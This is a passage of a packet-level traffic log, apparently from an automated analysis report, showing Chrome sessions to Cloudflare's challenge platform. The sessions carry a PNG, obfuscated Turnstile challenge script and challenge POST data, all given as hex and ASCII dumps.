2024-12-09 13:19:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49774	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:39 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:39 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:39 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef549c03d2c43bc-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49775	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:39 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef549aa0e1f4376&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:40 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:40 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122058 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef549c358299e1a-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:40 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f Data Ascii: arent%20page.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_timeout":"Timed%20o
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 67 6c 2c 67 70 2c 67 71 2c 67 72 2c 67 76 2c 67 77 2c 67 44 2c 67 48 2c 65 50 2c 65 51 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 38 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 37 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 31 38 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 37 31 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 35 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 34 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 32 39 33 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: gl,gp,gq,gr,gv,gw,gD,gH,eP,eQ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(638))/1(-parseInt(gI(607))/2)+parseInt(gI(1618))/3(parseInt(gI(571))/4)+-parseInt(gI(455))/5+-parseInt(gI(1184))/6+parseInt(gI(293))/7*(-parseInt(gI(
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 2c 27 73 42 69 44 74 27 3a 67 4b 28 31 36 39 31 29 2c 27 4d 6d 59 74 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 72 4b 79 48 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 47 43 4e 64 41 27 3a 67 4b 28 37 32 36 29 2c 27 6e 58 57 4e 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 4e 65 52 4c 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 65 6d 57 6d 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 6e 4e 43 43 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6a 4d 66 50 57 27 3a 66 75 6e 63 74 Data Ascii: ,'sBiDt':gK(1691),'MmYtC':function(h,i){return i==h},'rKyHi':function(h,i){return i!=h},'GCNdA':gK(726),'nXWNM':function(h,i){return i&h},'NeRLo':function(h,i){return i*h},'emWmg':function(h,i){return i==h},'nNCCF':function(h,i){return h(i)},'jMfPW':funct
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 5b 67 4d 28 35 30 34 29 5d 28 4d 2c 31 29 2c 64 5b 67 4d 28 31 31 33 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 39 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 67 4d 28 31 37 33 33 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 67 4d 28 31 37 32 33 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 67 4d 28 31 32 37 36 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 4d 28 38 33 38 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 49 3d 3d 64 5b 67 4d 28 36 35 31 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 39 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 Data Ascii: [gM(504)](M,1),d[gM(1135)](I,j-1)?(I=0,G[gM(897)](o(H)),H=0):I++,M>>=1,s++);}D--,d[gM(1733)](0,D)&&(D=Math[gM(1723)](2,F),F++),delete B[C]}else for(M=x[C],s=0;d[gM(1276)](s,F);H=d[gM(838)](H,1)\|M&1,I==d[gM(651)](j,1)?(I=0,G[gM(897)](o(H)),H=0):I++,M>>=1,s
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 4d 28 37 38 36 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 4e 29 7b 72 65 74 75 72 6e 20 67 4e 3d 67 4b 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 64 5b 67 4e 28 34 30 39 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 4e 28 31 31 35 32 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 4f 29 7b 72 65 74 75 72 6e 20 67 4f 3d 67 4e 2c 68 5b 67 4f 28 31 31 36 34 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 50 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4f 2c 4c 2c 4d 2c 4e 29 7b 66 6f 72 28 67 50 3d 67 4b 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 64 5b 67 50 28 Data Ascii: I++;return G[gM(786)]('')},'j':function(h,gN){return gN=gK,h==null?'':d[gN(409)]('',h)?null:f.i(h[gN(1152)],32768,function(i,gO){return gO=gN,h[gO(1164)](i)})},'i':function(i,j,o,gP,s,x,B,C,D,E,F,G,H,I,J,K,O,L,M,N){for(gP=gK,s=[],x=4,B=4,C=3,D=[],G=d[gP(
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 2b 5d 3d 65 28 4a 29 2c 4f 3d 64 5b 67 50 28 36 35 31 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 50 28 37 38 36 29 5d 28 27 27 29 7d 69 66 28 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 50 28 31 37 32 33 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 4f 3d 73 5b 4f 5d 3b 65 6c 73 65 20 69 66 28 42 3d 3d 3d 4f 29 4f 3d 64 5b 67 50 28 31 30 31 39 29 5d 28 45 2c 45 5b 67 50 28 36 30 36 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 67 50 28 38 39 37 29 5d 28 4f 29 2c 73 5b 42 2b 2b 5d 3d 45 2b 4f 5b 67 50 28 36 30 36 29 5d 28 30 29 2c 78 2d 2d 2c 45 3d 4f 2c 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 50 28 31 37 32 33 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d Data Ascii: +]=e(J),O=d[gP(651)](B,1),x--;break;case 2:return D[gP(786)]('')}if(x==0&&(x=Math[gP(1723)](2,C),C++),s[O])O=s[O];else if(B===O)O=d[gP(1019)](E,E[gP(606)](0));else return null;D[gP(897)](O),s[B++]=E+O[gP(606)](0),x--,E=O,x==0&&(x=Math[gP(1723)](2,C),C++)}
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 68 5e 67 7d 2c 27 6d 4a 50 42 56 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 3e 68 7d 2c 27 6a 75 4d 48 76 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 5e 68 7d 2c 27 75 48 43 78 49 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 68 5e 67 7d 2c 27 64 57 78 5a 44 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 5e 68 7d 2c 27 63 78 59 79 52 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 21 3d 3d 68 7d 2c 27 55 67 6f 4c 4d 27 3a 68 77 28 31 34 33 32 29 2c 27 58 76 4a 4b 47 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 2c 27 4d 46 62 55 44 Data Ascii: unction(g,h){return h^g},'mJPBV':function(g,h){return g>h},'juMHv':function(g,h){return g^h},'uHCxI':function(g,h){return h^g},'dWxZD':function(g,h){return g^h},'cxYyR':function(g,h){return g!==h},'UgoLM':hw(1432),'XvJKG':function(g,h){return g(h)},'MFbUD
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 2c 6c 3d 74 68 69 73 2e 68 5b 65 5b 68 77 28 31 36 33 35 29 5d 28 69 2c 31 39 37 29 5e 74 68 69 73 2e 67 5d 7c 7c 52 29 3a 65 5b 68 77 28 31 34 38 32 29 5d 28 32 33 36 2c 53 29 3f 28 6b 3d 65 5b 68 77 28 31 32 31 37 29 5d 28 68 2c 31 38 37 29 2c 6c 3d 74 68 69 73 2e 68 5b 69 5e 31 31 36 2e 34 38 5e 74 68 69 73 2e 67 5d 26 74 68 69 73 2e 68 5b 65 5b 68 77 28 31 32 31 37 29 5d 28 65 5b 68 77 28 31 36 35 37 29 5d 28 6a 2c 39 34 29 2c 74 68 69 73 2e 67 29 5d 29 3a 54 3d 3d 3d 32 32 30 3f 28 6b 3d 68 5e 39 39 2c 6c 3d 74 68 69 73 2e 68 5b 69 5e 31 30 5e 74 68 69 73 2e 67 5d 7c 74 68 69 73 2e 68 5b 65 5b 68 77 28 35 33 38 29 5d 28 36 36 2e 31 33 5e 6a 2c 74 68 69 73 2e 67 29 5d 29 3a 65 5b 68 77 28 35 31 32 29 5d 28 31 31 33 2c 55 29 3f 28 6b 3d 68 5e 31 34 31 Data Ascii: ,l=this.h[e[hw(1635)](i,197)^this.g]\|\|R):e[hw(1482)](236,S)?(k=e[hw(1217)](h,187),l=this.h[i^116.48^this.g]&this.h[e[hw(1217)](e[hw(1657)](j,94),this.g)]):T===220?(k=h^99,l=this.h[i^10^this.g]\|this.h[e[hw(538)](66.13^j,this.g)]):e[hw(512)](113,U)?(k=h^141
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 5b 68 77 28 34 31 37 29 5d 3d 30 2c 6a 5b 68 77 28 31 32 35 38 29 5d 3d 30 2c 6a 5b 68 77 28 37 37 33 29 5d 3d 30 2c 6a 5b 68 77 28 31 34 36 38 29 5d 3d 30 2c 6b 5b 68 77 28 37 36 33 29 5d 3d 6a 2c 6c 28 29 2c 6d 5b 68 77 28 31 32 35 32 29 5d 5b 68 77 28 37 35 31 29 5d 3d 6e 5b 68 77 28 32 38 37 29 5d 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 5b 68 77 28 37 39 37 29 5d 28 66 69 2c 65 5b 68 77 28 37 39 37 29 5d 28 66 6a 2c 63 29 29 7d 7d 2c 65 4d 5b 67 4a 28 33 33 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 78 2c 64 2c 65 2c 66 2c 67 29 7b 68 78 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 78 28 31 37 31 30 29 5d 3d 68 78 28 33 35 35 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 78 28 37 30 37 29 5d 5b 68 78 28 39 39 36 29 5d 28 32 3c 3c 66 2c 33 Data Ascii: [hw(417)]=0,j[hw(1258)]=0,j[hw(773)]=0,j[hw(1468)]=0,k[hw(763)]=j,l(),m[hw(1252)][hw(751)]=n[hw(287)]();else return e[hw(797)](fi,e[hw(797)](fj,c))}},eM[gJ(330)]=function(hx,d,e,f,g){hx=gJ,d={},d[hx(1710)]=hx(355),e=d,f=1,g=1e3*eM[hx(707)][hx(996)](2<<f,3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49777	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:39 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3560 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:39 UTC	3560	OUT	Data Raw: 76 5f 38 65 66 35 34 39 61 61 30 65 31 66 34 33 37 36 3d 54 78 56 59 38 59 24 59 2d 59 65 59 5a 59 4c 6f 32 39 6f 32 37 49 59 77 25 32 62 46 6e 55 63 2b 45 4a 4b 32 31 76 32 38 58 59 36 30 32 57 59 55 78 32 43 32 6b 45 76 32 63 47 4e 59 38 76 32 4d 59 63 52 73 37 32 6d 45 59 32 63 65 77 32 24 71 37 32 55 58 36 71 6e 76 48 59 4e 32 53 54 32 24 35 4e 30 57 76 56 36 4d 59 59 70 30 77 6d 57 59 36 30 63 32 64 43 49 63 66 67 32 38 58 45 43 32 66 7a 33 70 74 69 4b 44 44 68 33 39 41 68 63 35 6e 5a 32 45 6e 42 59 6e 6e 32 4a 71 64 4b 53 43 76 45 45 43 30 71 45 69 37 76 45 50 56 35 68 54 58 5a 32 56 53 57 56 39 76 4d 4f 32 32 71 32 63 67 4b 59 58 45 5a 55 77 32 32 33 59 5a 62 30 4f 67 36 32 55 43 4d 32 45 74 66 56 2d 38 52 39 50 37 32 34 71 58 52 4b 36 39 52 32 65 Data Ascii: v_8ef549aa0e1f4376=TxVY8Y$Y-YeYZYLo29o27IYw%2bFnUc+EJK21v28XY602WYUx2C2kEv2cGNY8v2MYcRs72mEY2cew2$q72UX6qnvHYN2ST2$5N0WvV6MYYp0wmWY60c2dCIcfg28XEC2fz3ptiKDDh39Ahc5nZ2EnBYnn2JqdKSCvEEC0qEi7vEPV5hTXZ2VSWV9vMO22q2cgKYXEZUw223YZb0Og62UCM2EtfV-8R9P724qXRK69R2e
2024-12-09 13:19:40 UTC	747	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:40 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149688 Connection: close cf-chl-gen: Fdbj756/xtyFY/5Ygjw8D3UQUQiryUsYF09T08RaW70Nl/X1FZfszQ3xOsiJg8Lk7flaEwRp3GtxFQK9i6Q+oPZtlQoXbzT79HG+5f9tSuolDHgU7iTlyhcyv8xFPVcmrIxbik+m2SZXGdFP6jTLsFJDKDSeP9rCTbDdysK2OCiWw99ncHih0/TRjlUfX753eL+4gwY/IhHGIVyaWK41uQyikw/h89gTepO30iyX6p/pRUlPDC6PnMCFOc7VGw1oJr5E6hR9Mn1UFfEWI0nN5jWsIxIhJJdlEg4WTI0kcWCMUbaXh3Hptw2ogeBtckqdeUOp9YN6XvQmyNIFAaGz92Tt1c2trNxissgkmEGhkFHfebn7xtw0hwY7cl13Zhd/4u1fCgQLdn4uTnSu3neuHzllk77Zs4e8jf25ndJbyMLh3u/ys4DJDjKe6SRaOsX5ISJygEXIQ+5vYNIvQTw5i0cBV6bjGoKgLlQz7cigp8NujqM=$xOpt6YYkEiuKVx/9 Server: cloudflare CF-RAY: 8ef549c39bda4388-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:40 UTC	622	IN	Data Raw: 6d 62 71 39 6a 4a 79 57 72 35 75 35 71 49 65 6e 74 63 43 61 6a 64 4b 36 68 59 76 52 7a 37 61 74 79 39 71 55 70 4e 6e 5a 75 70 79 65 6d 4e 6a 59 76 2b 47 2b 34 75 65 35 6f 37 2f 41 70 61 62 71 75 37 76 4a 36 62 33 42 39 74 50 6b 74 66 4c 34 32 62 66 75 79 4c 50 35 76 4e 30 47 37 39 6b 4a 2b 4d 62 66 2f 66 76 68 32 39 37 62 36 65 2f 6d 31 65 34 52 7a 75 49 59 47 66 66 5a 43 65 67 65 38 76 30 57 34 2f 59 43 47 69 58 39 47 77 6a 6b 42 79 45 6d 44 43 6e 36 2b 2f 45 53 4c 43 4d 61 47 2f 55 70 45 68 72 32 41 41 6e 7a 41 54 6a 38 51 52 73 38 41 55 52 45 52 79 42 50 4b 52 77 2f 53 69 68 4c 49 43 6c 55 54 78 4a 48 4d 6b 6f 6d 4a 6c 74 4d 4e 54 55 34 58 44 35 5a 58 6c 78 46 58 43 64 55 48 32 4a 6d 62 47 52 74 4c 57 78 78 53 6e 68 43 52 57 64 61 56 6e 4e 6d 54 31 74 Data Ascii: mbq9jJyWr5u5qIentcCajdK6hYvRz7aty9qUpNnZupyemNjYv+G+4ue5o7/Apabqu7vJ6b3B9tPktfL42bfuyLP5vN0G79kJ+Mbf/fvh297b6e/m1e4RzuIYGffZCege8v0W4/YCGiX9GwjkByEmDCn6+/ESLCMaG/UpEhr2AAnzATj8QRs8AURERyBPKRw/SihLIClUTxJHMkomJltMNTU4XD5ZXlxFXCdUH2JmbGRtLWxxSnhCRWdaVnNmT1t
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 64 65 62 47 74 69 62 35 43 50 6a 6f 6c 2f 66 5a 4e 55 59 6e 65 52 70 4b 4f 53 6b 59 6d 6c 61 71 31 75 6f 35 71 78 6a 36 6d 44 61 34 43 51 69 33 4b 69 72 37 75 64 6d 4a 6d 37 6b 59 75 37 73 61 61 76 78 73 61 58 6b 70 2b 4b 76 4b 57 47 73 4d 37 52 6f 37 32 4f 70 71 6e 4f 79 61 76 63 6d 74 57 63 6d 4c 71 54 74 64 58 4d 75 70 33 65 77 72 2b 37 36 64 6e 68 34 4f 53 77 75 76 50 6f 76 63 71 73 74 4e 6e 58 36 72 6a 6b 78 76 6e 52 79 72 66 32 31 73 50 44 78 50 79 2f 33 50 58 55 78 51 30 4b 43 75 34 41 79 4f 54 6b 37 39 48 4e 34 41 4d 61 7a 64 51 63 45 65 73 65 2b 52 55 63 49 4f 38 50 39 52 4d 70 41 65 4c 6e 2b 41 45 4a 4b 44 49 66 42 67 67 42 38 79 4c 71 4f 54 66 37 4d 51 67 33 45 43 70 43 39 42 38 57 45 53 38 6a 52 30 67 68 51 44 38 57 49 54 30 38 55 54 38 4c 4b Data Ascii: debGtib5CPjol/fZNUYneRpKOSkYmlaq1uo5qxj6mDa4CQi3Kir7udmJm7kYu7saavxsaXkp+KvKWGsM7Ro72OpqnOyavcmtWcmLqTtdXMup3ewr+76dnh4OSwuvPovcqstNnX6rjkxvnRyrf21sPDxPy/3PXUxQ0KCu4AyOTk79HN4AMazdQcEese+RUcIO8P9RMpAeLn+AEJKDIfBggB8yLqOTf7MQg3ECpC9B8WES8jR0ghQD8WIT08UT8LK
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 74 63 6e 78 33 62 6c 78 55 6d 59 4e 7a 5a 4b 61 58 57 33 61 49 70 34 74 2b 68 36 71 66 6a 6d 2b 6f 6a 48 47 4c 73 5a 6d 73 65 37 4b 79 74 4c 57 76 6d 73 43 35 76 4d 47 69 71 4d 4f 32 6e 63 61 6a 70 70 7a 49 7a 70 32 78 78 36 53 6a 74 61 54 57 70 62 6e 4f 30 71 75 39 73 4c 69 74 77 64 71 30 73 38 57 33 35 72 58 4a 34 65 4b 37 7a 62 2f 49 76 64 48 70 78 4d 50 56 78 76 69 32 30 75 36 32 75 75 6a 72 33 72 2f 39 79 77 62 42 37 74 66 46 78 41 54 68 39 4f 6f 45 32 4e 67 41 34 2b 66 79 78 2f 58 54 42 76 6a 59 45 42 44 63 46 76 44 36 44 4f 48 62 2f 50 6e 65 33 74 38 5a 43 42 6f 6f 36 43 6e 6d 47 67 77 79 4c 76 34 66 46 67 63 59 4f 77 59 39 2f 42 6b 7a 45 53 49 57 2b 6a 74 42 4f 6b 55 45 4f 41 49 33 4b 53 73 66 4f 43 30 4a 4c 78 45 76 53 44 63 30 4d 78 49 30 4b 45 Data Ascii: tcnx3blxUmYNzZKaXW3aIp4t+h6qfjm+ojHGLsZmse7KytLWvmsC5vMGiqMO2ncajppzIzp2xx6SjtaTWpbnO0qu9sLitwdq0s8W35rXJ4eK7zb/IvdHpxMPVxvi20u62uujr3r/9ywbB7tfFxATh9OoE2NgA4+fyx/XTBvjYEBDcFvD6DOHb/Pne3t8ZCBoo6CnmGgwyLv4fFgcYOwY9/BkzESIW+jtBOkUEOAI3KSsfOC0JLxEvSDc0MxI0KE
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 6c 4a 4b 6b 5a 47 43 67 63 59 43 56 6d 70 74 33 62 36 61 4d 61 71 6d 66 68 35 43 42 68 34 57 78 76 48 53 49 6a 37 6a 41 64 37 6d 4f 66 34 4b 58 68 59 4f 43 77 61 5a 2b 7a 4a 2b 69 6a 38 36 53 7a 59 7a 4c 78 61 75 34 6c 63 53 55 78 4d 6e 5a 7a 70 79 39 77 39 32 79 32 72 61 6e 77 4c 66 53 30 39 7a 4e 34 63 61 37 72 4f 76 45 71 38 72 48 78 4f 76 50 74 64 6d 7a 73 39 62 76 2b 65 4c 76 32 2f 62 54 33 74 51 41 32 64 37 46 2f 65 7a 59 44 76 33 66 37 74 44 39 38 2b 4c 66 41 64 6b 51 46 64 50 62 44 75 76 57 37 52 73 4e 41 52 55 42 49 42 55 66 44 50 51 70 41 51 7a 35 43 68 38 4a 4e 4f 77 7a 41 54 63 33 4b 52 55 57 42 53 63 78 38 53 73 69 49 50 34 4e 4a 44 55 2b 2f 67 46 48 46 67 4e 42 4a 69 55 5a 4f 68 38 4e 48 69 67 32 4d 53 6f 36 4e 56 77 6c 4c 78 63 73 4d 54 51 Data Ascii: 